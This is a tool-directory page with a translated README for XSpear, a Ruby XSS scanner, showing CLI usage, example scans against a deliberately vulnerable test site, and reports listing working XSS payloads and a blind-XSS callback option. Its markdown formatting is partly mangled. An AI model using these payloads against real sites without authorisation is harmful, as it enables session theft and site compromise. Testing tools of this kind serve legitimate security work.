Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/hahwul/xspear
侦察静态分析漏洞扫描器Web漏洞扫描器动态分析 (沙盒)漏洞分析脚本与自动化信息收集Web安全模糊测试渗透测试Archived
1.4k2405个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
XSpear — 🔱 强大的XSS扫描与参数分析工具及gem | Kitploit
GitHub
hahwul/xspear

XSpear

🔱 强大的XSS扫描与参数分析工具及gem

查看仓库

XSpear

XSpear 是一个基于 Ruby gems 的 XSS 扫描器

[!IMPORTANT] XSpear 仓库已归档

此仓库已归档,现为只读状态。
XSpear 不再积极维护。

尝试使用 Dalfox 🌙🦊

一个更快、更强大且具有高级功能的 XSS 扫描器。

→ https://github.com/hahwul/dalfox

主要特性

  • 基于模式匹配的 XSS 扫描
  • 在无头浏览器上检测 alert confirm prompt 事件(使用 Selenium)
  • 测试请求/响应以绕过 XSS 保护并检测反射(或所有)参数
    • 反射参数
    • 所有参数(用于盲 XSS 等)
    • 过滤测试 event handler HTML tag Special Char Useful code
    • 仅为您测试自定义负载!
  • 测试盲 XSS(使用 XSS Hunter、ezXSS、HBXSS 等所有基于 URL 的盲测试...)
  • 动态/静态分析
    • 查找 SQL 错误模式
    • 分析安全标头(CSP HSTS X-frame-options XSS-protection 等)
    • 分析其他标头(服务器版本、Content-Type 等)
    • 对 URI 路径进行 XSS 测试
    • 仅参数分析测试(即无 XSS 模式)
  • 从原始文件扫描(Burp Suite、ZAP 请求)
  • XSpear 运行于 Ruby 代码(使用 Gem 库)
  • 显示 table base cli-report 和 、(URL)

安装

自行安装:

root@kitploit:~
$ gem install XSpear

或者自行安装(本地文件 / 下载最新版本):

root@kitploit:~
$ gem install XSpear-{version}.gem

将以下行添加到您的应用程序的 Gemfile 中:```ruby gem 'XSpear'

root@kitploit:~
然后执行:

    $ bundle

### 依赖的 Gem
`colorize` `selenium-webdriver` `terminal-table` `progress_bar`<br>
如果你配置了自动安装到 Gem 库中,但运行异常,请使用以下命令安装。```
$ gem install colorize
$ gem install selenium-webdriver
$ gem install terminal-table
$ gem install progress_bar

cli 用法```

Usage: xspear -u [target] -[options] [value] [ e.g ] $ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin' -v 1 -a $ xspear -u 'http://testphp.vulnweb.com/listproducts.php?cat=123' -v 2 $ xspear -u 'http://testphp.vulnweb.com/listproducts.php?cat=123' -v 0 -o json

[ Options ] -u, --url=target_URL [required] Target Url -d, --data=POST Body [optional] POST Method Body data -a, --test-all-params [optional] test to all params(include not reflected) --no-xss [optional] no testing xss, only parameters analysis --headers=HEADERS [optional] Add HTTP Headers --cookie=COOKIE [optional] Add Cookie --custom-payload=FILENAME [optional] Load custom payload json file --raw=FILENAME [optional] Load raw file(e.g raw_sample.txt) -p, --param=PARAM [optional] Test paramters -b, --BLIND=URL [optional] Add vector of Blind XSS + with XSS Hunter, ezXSS, HBXSS, etc... + e.g : -b https://hahwul.xss.ht -t, --threads=NUMBER [optional] thread , default: 10 -o, --output=FORMAT [optional] Output format (cli , json) -c, --config=FILENAME [optional] Using config.json -v, --verbose=0~3 [optional] Show log depth + v=0 : quite mode(only result) + v=1 : show scanning status(default) + v=2 : show scanning logs + v=3 : show detail log(req/res) -h, --help Prints this help --version Show XSpear version --update Show how to update

root@kitploit:~
### Result types
- (I)NFO: 获取信息 ( 例如 SQL错误 , 过滤规则 , 反射参数 , 等 )
- (V)UNL: 易受攻击的XSS, 已通过Selenium检查alert/prompt/confirm
- (L)OW: 低级问题
- (M)EDIUM: 中级问题
- (H)IGH: 高级问题

### Verbose Mode
**[0] 安静模式(仅显示结果)**```
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 0
you see report

[1] 显示进度条(默认)``` $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 1 [] analysis request.. [] used test-reflected-params mode(default) [] creating a test query [for reflected 2 param + blind XSS ] [] test query generation is complete. [249 query] [*] starting XSS Scanning. [10 threads]

[#######################################] [249/249] [100.00%] [01:05] [00:00] [ 3.83/s] ... you see report

root@kitploit:~
**[2] 显示扫描日志**```
$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 2
[*] analysis request..
[I] [22:42:41] [200/OK] [param: cat][Found SQL Error Pattern]
[-] [22:42:41] [200/OK] 'STATIC' not reflected
[-] [22:42:41] [200/OK] 'cat' not reflected <script>alert(45)</script>
[I] [22:42:41] [200/OK] reflected rEfe6[param: cat][reflected parameter]
[*] used test-reflected-params mode(default)
[*] creating a test query [for reflected 2 param + blind XSS ]
[*] test query generation is complete. [249 query]
[*] starting XSS Scanning. [10 threads]
[I] [22:42:43] [200/OK] reflected onhwul=64[param: cat][reflected EHon{any} pattern]
[-] [22:42:54] [200/OK] 'cat' not reflected 
[-] [22:42:54] [200/OK] 'cat' not reflected <svg/onload=alert(45)>
[H] [22:42:54] [200/OK] reflected <script>alert(45)</script>[param: cat][reflected XSS Code]
[V] [22:42:59] [200/OK] found alert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>[param: cat][triggered <svg/onload=alert(45)>]
...
you see report

[3] 显示扫描详细日志``` $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 3 [] analysis request.. [-] [22:56:21] [200/OK] http://testphp.vulnweb.com/listproducts.php?cat=123 in url [ Request ] {"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["/"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]} [ Response ] {"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:53:23 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]} [-] [22:56:21] [200/OK] 'STATIC' not reflected [-] [22:56:21] [200/OK] cat=123rEfe6 in url ... [] used test-reflected-params mode(default) [] creating a test query [for reflected 2 param + blind XSS ] [] test query generation is complete. [249 query] [] starting XSS Scanning. [10 threads] ... [ Request ] {"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["/*"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]} [ Response ] {"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:54:36 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]} [H] [22:57:33] [200/OK] reflected [param: cat][reflected onfocus XSS Code] ... you see report

root@kitploit:~
### 逐案分析
**扫描 XSS**```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy"

仅限JSON输出``` $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v 0

root@kitploit:~
**设置扫描线程**```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -t 30

在选定的参数下进行测试``` $ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -p cat,test

root@kitploit:~
**测试所有参数**<br>
(该选项会在有或没有反射的情况下进行测试。)```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -a

仅测试参数分析(也称为无XSS模式)
``` $ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" --no-xss

root@kitploit:~
**Testing blind xss(all params)**<br>
(因为 Blind XSS 无处不在,所以应尽可能多地使用)<br>```
$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht" -a

# Set your blind xss host. <-b options>

测试自定义有效载荷
``` $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" --custom-payload=custom_payload.json

root@kitploit:~
在 custom_payload.json 文件中```json
[
  {
    "payload":"<svg/onload=alert(1)>",
    "callback":"P1",
    "descript":"blahblah~"
  },
  {
    "payload":"<svg/onload=alert(1)>",
    "callback":"P2",
    "descript":"blahblah~"
  },
  {
    "payload":"<>",
    "callback":"P1",
    "descript":"blahblah~"
  }
]

用于Pipeline
``` $ xspear -u {target} -b "your-blind-xss-host" -a -v 0 -o json

-u : target

-b : testing blind xss

-a : test all params(test to not reflected param)

-v : verbose, not showing logs at value 1.

-o : output optios, json!

root@kitploit:~
结果 json 数据```
{
    "starttime": "2019-12-25 00:02:58 +0900",
    "endtime": "2019-12-25 00:03:31 +0900",
    "issue_count": 25,
    "issue_list": [{
        "id": 0,
        "type": "INFO",
        "issue": "DYNAMIC ANALYSIS",
        "method": "GET",
        "param": "cat",
        "payload": "XsPeaR\"",
        "description": "Found SQL Error Pattern"
    }, {
        "id": 1,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Found Server: nginx/1.4.1"
    }, {
        "id": 2,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not set HSTS"
    }, {
        "id": 3,
        "type": "INFO",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Content-Type: text/html"
    }, {
        "id": 4,
        "type": "LOW",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not Set X-Frame-Options"
    }, {
        "id": 5,
        "type": "MIDUM",
        "issue": "STATIC ANALYSIS",
        "method": "GET",
        "param": "-",
        "payload": "<original query>",
        "description": "Not Set CSP"
    }, {
        "id": 6,
        "type": "INFO",
        "issue": "REFLECTED",
        "method": "GET",
        "param": "cat",
        "payload": "rEfe6",
        "description": "reflected parameter"
    }, {
        "id": 7,
        "type": "INFO",
        "issue": "FILERD RULE",
        "method": "GET",
        "param": "cat",
        "payload": "onhwul=64",
        "description": "not filtered event handler on{any} pattern"
    }
....
, {
        "id": 17,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<audio src onloadstart=alert(45)>",
        "description": "reflected HTML5 XSS Code"
    }, {
        "id": 18,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<keygen autofocus onfocus=alert(45)>",
        "description": "reflected onfocus XSS Code"
 ....
    }, {
        "id": 24,
        "type": "HIGH",
        "issue": "XSS",
        "method": "GET",
        "param": "cat",
        "payload": "<marquee onstart=alert(45)>",
        "description": "triggered <marquee onstart=alert(45)>"
    }]
}

(标记为 triggered 的项目实际上是可在浏览器中工作的payload。)

XSpear on Burpsuite
https://github.com/hahwul/XSpear/tree/master/forBurp

等等...

示例日志

扫描XSS``` xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=z" ) ( ( /( )\ ) )())(()/( ( ) ( (()\ /())` ) ))\ ( /( )( __(()()) /(/( /(())())(()
\ / // |(()\ ()) (() (()

< __ | '_ )/ -_)/ _ || '_| /_/\_\|___/| .__/ \___|\__,_||_| /> |_| \ /< {\\\\\\\\\\\\\BYHAHWUL\\\\\\\\\\\(0):::<======================- / \< \> [ v1.4.0 ] [*] analysis request.. [*] used test-reflected-params mode(default) [*] creating a test query [for reflected 1 param ] [*] test query generation is complete. [251 query] [*] starting XSS Scanning. [10 threads] ...snip... [*] finish scan. the report is being generated.. +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ | [ XSpear report ] | | http://testphp.vulnweb.com/listproducts.php?cat=123&zfdfasdf=124fff... (snip) | | 2019-08-14 23:50:34 +0900 ~ 2019-08-14 23:51:07 +0900 Found 24 issues. | +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ | NO | TYPE | ISSUE | METHOD | PARAM | PAYLOAD | DESCRIPTION | +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ | 0 | INFO | STATIC ANALYSIS | GET | - | <original query> | Found Server: nginx/1.4.1 | | 1 | INFO | STATIC ANALYSIS | GET | - | <original query> | Not set HSTS | | 2 | INFO | STATIC ANALYSIS | GET | - | <original query> | Content-Type: text/html | | 3 | LOW | STATIC ANALYSIS | GET | - | <original query> | Not Set X-Frame-Options | | 4 | MIDUM | STATIC ANALYSIS | GET | - | <original query> | Not Set CSP | | 5 | INFO | DYNAMIC ANALYSIS | GET | cat | XsPeaR" | Found SQL Error Pattern | | 6 | INFO | REFLECTED | GET | cat | rEfe6 | reflected parameter | | 7 | INFO | FILERD RULE | GET | cat | onhwul=64 | not filtered event handler on{any} pattern | | 8 | HIGH | XSS | GET | cat | <script>alert(45)</script> | reflected XSS Code | | 9 | HIGH | XSS | GET | cat | <marquee onstart=alert(45)> | reflected HTML5 XSS Code | | 10 | HIGH | XSS | GET | cat | <details/open/ontoggle="alert45`"> | reflected HTML5 XSS Code | | 11 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 12 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 13 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 14 | HIGH | XSS | GET | cat | <audio src onloadstart=alert(45)> | reflected HTML5 XSS Code | | 15 | HIGH | XSS | GET | cat | <meter onmouseover=alert(45)>0 | reflected HTML5 XSS Code | | 16 | HIGH | XSS | GET | cat | "> | reflected XSS Code | | 17 | HIGH | XSS | GET | cat | <video controls/poster/onerror=alert(45)> | reflected HTML5 XSS Code | | 18 | HIGH | XSS | GET | cat | | reflected onfocus XSS Code | | 19 | VULN | XSS | GET | cat | alert(45) | triggered | | 20 | HIGH | XSS | GET | cat | | triggered | | 21 | HIGH | XSS | GET | cat | <details/open/ontoggle="alert(45)"> | triggered <details/open/ontoggle="alert(45)"> | | 22 | HIGH | XSS | GET | cat | | triggered | | 23 | VULN | XSS | GET | cat | '"><svg/onload=alert(45)> | triggered <svg/onload=alert(45)> | +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+ < Available Objects > [cat] param

下载工具
filtered rule
testing raw query
  • 在选定参数上进行测试
  • 支持输出格式 cli json html
    • cli
    • json
    • html
  • 支持详细级别(0~3)
    • 0: 静默模式(仅显示结果)
    • 1: 显示扫描状态(默认)
    • 2: 显示扫描日志
    • 3: 显示详细日志(请求/响应)
  • 支持自定义回调代码以测试各种攻击向量
  • 支持配置文件
    • Available Special Char: ` ( \ ' { ) } [ : $ ]
    • Available Event Handler: "onBeforeEditFocus","onAbort","onActivate","onAfterUpdate","onBeforeCopy","onAfterPrint","onBeforeActivate","onBeforeCut","onBeforeDeactivate","onChange","onBeforePrint","onBounce","onBeforeUnload","onCellChange","onBeforePaste","onClick","onBegin","onBlur","onBeforeUpdate","onDataSetChanged","onCut","onDblClick","onCopy","onContextMenu","onDataSetComplete","onDeactivate","onDataAvailable","onControlSelect","onDrag","onDrop","onDragEnd","onEnd","onDragLeave","onDragStart","onDragOver","onDragEnter","onDragDrop","onError","onErrorUpdate","onFinish","onFilterChange","onKeyPress","onHelp","onFocus","onInput","onHashChange","onKeyDown","onFocusIn","onFocusOut","onMessage","onMouseDown","onLoad","onLayoutComplete","onMouseEnter","onLoseCapture","onloadstart","onMediaError","onKeyUp","onMediaComplete","onMouseOver","onMouseWheel","onMove","onMouseMove","onMouseOut","onOffline","onMoveStart","onMouseLeave","onMouseUp","onMoveEnd","onPropertyChange","onOnline","onPause","onPaste","onReadyStateChange","onRedo","onProgress","onPopState","onOutOfSync","onRepeat","onResume","onRowExit","onReset","onResizeEnd","onRowsEnter","onResizeStart","onReverse","onRowDelete","onRowInserted","onResize","onStop","onSeek","onSelect","onSubmit","onStorage","onStart","onScroll","onSelectionChange","onSyncRestored","onSelectStart","onUnload","ontouchstart","onbeforescriptexecute","onTimeError","onURLFlip","ontouchmove","ontouchend","onTrackChange","onUndo","onafterscriptexecute","onpointermove","onpointerleave","onpointerup","onpointerover","onpointerdown","onpointerenter","onloadstart","onloadend","onpointerout"
    • Available HTML Tag: "script","img","embed","video","audio","meta","style","frame","iframe","svg","object","frameset","applet"
    • Available Useful Code: "document.cookie","document.location","window.location"

    < Raw Query > [0] http://testphp.vulnweb.com/listproducts.php?- ..snip.. [19] http://testphp.vulnweb.com/listproducts.php?cat=123%22%3E%3Cscript%3Ealert(45)%3C/script%3E&zfdfasdf=124fffff [20] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Cmarquee%20onstart=alert(45)%3E&zfdfasdf=124fffff [21] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Cdetails/open/ontoggle=%22alert(45)%22%3E&zfdfasdf=124fffff [22] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Caudio%20src%20onloadstart=alert(45)%3E&zfdfasdf=124fffff [23] http://testphp.vulnweb.com/listproducts.php?cat=123'%22%3E%3Csvg/onload=alert(45)%3E&zfdfasdf=124fffff

    ...snip...

    root@kitploit:~
    **转换为 JSON**```
    $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123&zfdfasdf=124fffff" -v 1 -o json
    {"starttime":"2019-08-14 23:58:12 +0900","endtime":"2019-08-14 23:58:44 +0900","issue_count":24,"issue_list":[{"id":0,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Found Server: nginx/1.4.1"},{"id":1,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not set HSTS"},{"id":2,"type":"INFO","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Content-Type: text/html"},{"id":3,"type":"LOW","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not Set X-Frame-Options"},{"id":4,"type":"MIDUM","issue":"STATIC ANALYSIS","method":"GET","param":"-","payload":"<original query>","description":"Not Set CSP"},{"id":5,"type":"INFO","issue":"DYNAMIC ANALYSIS","method":"GET","param":"cat","payload":"XsPeaR\"","description":"Found SQL Error Pattern"},{"id":6,"type":"INFO","issue":"REFLECTED","method":"GET","param":"cat","payload":"rEfe6","description":"reflected parameter"},{"id":7,"type":"INFO","issue":"FILERD RULE","method":"GET","param":"cat","payload":"onhwul=64","description":"not filtered event handler on{any} pattern"},{"id":8,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<script>alert(45)</script>","description":"reflected XSS Code"},{"id":9,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<textarea autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":10,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<video controls/poster/onerror=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":11,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<audio src onloadstart=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":12,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<details/open/ontoggle=\"alert`45`\">","description":"reflected HTML5 XSS Code"},{"id":13,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<select autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":14,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<marquee onstart=alert(45)>","description":"reflected HTML5 XSS Code"},{"id":15,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<input autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":16,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"\">","description":"reflected XSS Code"},{"id":17,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<meter onmouseover=alert(45)>0</meter>","description":"reflected HTML5 XSS Code"},{"id":18,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<keygen autofocus onfocus=alert(45)>","description":"reflected onfocus XSS Code"},{"id":19,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<audio src onloadstart=alert(45)>","description":"triggered <audio src onloadstart=alert(45)>"},{"id":20,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<marquee onstart=alert(45)>","description":"triggered <marquee onstart=alert(45)>"},{"id":21,"type":"HIGH","issue":"XSS","method":"GET","param":"cat","payload":"<details/open/ontoggle=\"alert(45)\">","description":"triggered <details/open/ontoggle=\"alert(45)\">"},{"id":22,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"<script>alert(45)</script>","description":"triggered <script>alert(45)</script>"},{"id":23,"type":"VULN","issue":"XSS","method":"GET","param":"cat","payload":"'\"><svg/onload=alert(45)>","description":"triggered <svg/onload=alert(45)>"}]}
    

    在 ruby 代码中的使用```ruby

    require 'XSPear'

    Set options

    options = {} options['thread'] = 30 options['cookie'] = "data=123" options['blind'] = "https://hahwul.xss.ht" options['output'] = json

    Create XSpear object with url, options

    s = XspearScan.new "https://www.hahwul.com?target_url", options

    Scanning

    s.run result = s.report.to_json r = JSON.parse result

    root@kitploit:~
    ## 添加扫描模块
    **1) 添加 `makeQueryPattern`**```ruby
    makeQueryPattern('type', 'query,', 'pattern', 'category', "description", "callback funcion")
    # type: f(ilterd?) r(eflected?) x(ss?)
    # category i(nfo) v(uln) l(ow) m(edium) h(igh) 
    
    # e.g 
    # makeQueryPattern('f', 'XsPeaR,', 'XsPeaR,', 'i', "not filtered "+",".blue, CallbackStringMatch)
    

    2) 如果是其他回调,编写回调类重写 ScanCallbackFunc 例如```ruby class CallbackStringMatch < ScanCallbackFunc def run if @response.body.include? @query [true, "reflected #{@query}"] else [false, "not reflected #{@query}"] end end end

    root@kitploit:~
    父类(ScanCallbackFunc)```ruby
    class ScanCallbackFunc()
        def initialize(url, method, query, response)
          @url = url
          @method = method
          @query = query
          @response = response
          # self.run
        end
        
        def run
          # override
        end
    end
    

    通用回调类

    • CallbackXSSSelenium
    • CallbackErrorPatternMatch
    • CallbackCheckHeaders
    • CallbackStringMatch
    • CallbackNotAdded
    • 等等...

    更新

    如果是普通用户``` $ gem update XSpear

    root@kitploit:~
    如果开发者 (软)```
    $ git pull -v
    

    如果 开发者 (困难)``` $ git reset --hard HEAD; git pull -v

    root@kitploit:~
    ## RubyDoc
    https://www.rubydoc.info/gems/XSpear/
    
    ## 开发
    
    克隆仓库后,运行 `bin/setup` 安装依赖项。然后运行 `rake spec` 执行测试。你也可以运行 `bin/console` 启动一个交互式控制台进行实验。
    
    要将此 gem 安装到本地机器,运行 `bundle exec rake install`。要发布新版本,请在 `version.rb` 中更新版本号,然后运行 `bundle exec rake release`,这将为版本创建 git 标签,推送 git 提交和标签,并将 `.gem` 文件推送到 [rubygems.org](https://rubygems.org)。
    
    ## 贡献
    
    欢迎在 GitHub 上提交错误报告和拉取请求:https://github.com/hahwul/XSpear。本项目旨在成为一个安全、友好的协作空间,贡献者应遵守 [Contributor Covenant](http://contributor-covenant.org) 行为准则。
    
    ## 捐赠
    
    我喜欢咖啡!我是个咖啡瘾君子。<br>
    <a href="https://www.paypal.me/hahwul"><img src="https://www.paypalobjects.com/digitalassets/c/website/logo/full-text/pp_fc_hl.svg" height="50px"></a>
    <a href="https://www.buymeacoffee.com/hahwul"><img src="https://assets.kitploit.com/production/public/readmes/2747/56bc6586ee8d5a934750957d1d15bf5ac2bb398d3c3bff0a78114df20e89687e.png" alt="Buy Me A Coffee" height="50px"></a>
    
    ## 许可证
    
    该 gem 以开放源代码形式提供,遵循 [MIT 许可证](https://opensource.org/licenses/MIT)。
    
    ## 行为准则
    
    所有在 XSpear 项目代码库、问题跟踪器、聊天室和邮件列表中互动的人,都应遵守[行为准则](https://github.com/[USERNAME]/XSpear/blob/master/CODE_OF_CONDUCT.md)。
    
    ## 截图
    < 扫描图像 >
    <img src="https://assets.kitploit.com/production/public/readmes/2747/9deafaf1aa43fb40a938e5dc3034189761eb5ecae3b2ac22e21cb81c1cc8e357.png" width=100%>
    < CLI 报告 1 >
    <img src="https://assets.kitploit.com/production/public/readmes/2747/164f66836cb974e247d9a23edea7c9a5ca8231361a410f7940828a27f58aa4ca.png" width=100%>
    < CLI 报告 2 >
    <img src="https://assets.kitploit.com/production/public/readmes/2747/f8557327e86d61fdd1f5c1e75bb9cc592d878a34cb9f14f5198e1215bce1b6fb.png" width=100%>
    < JSON 报告 >
    <img src="https://assets.kitploit.com/production/public/readmes/2747/e4ca84f8cf446a81d68932e24923fa8c0d1283dc54e92358c81392dc3b69bd3c.png" width=100%>
    < HTML 报告 >
    <img src="https://assets.kitploit.com/production/public/readmes/2747/de6fd664cd2052d6d099141b6943819aae71ef4d6c58890be748595d5a104044.png" width=100%>
    
    ## 视频
    [![asciicast](https://asciinema.org/a/290126.svg)](https://asciinema.org/a/290126)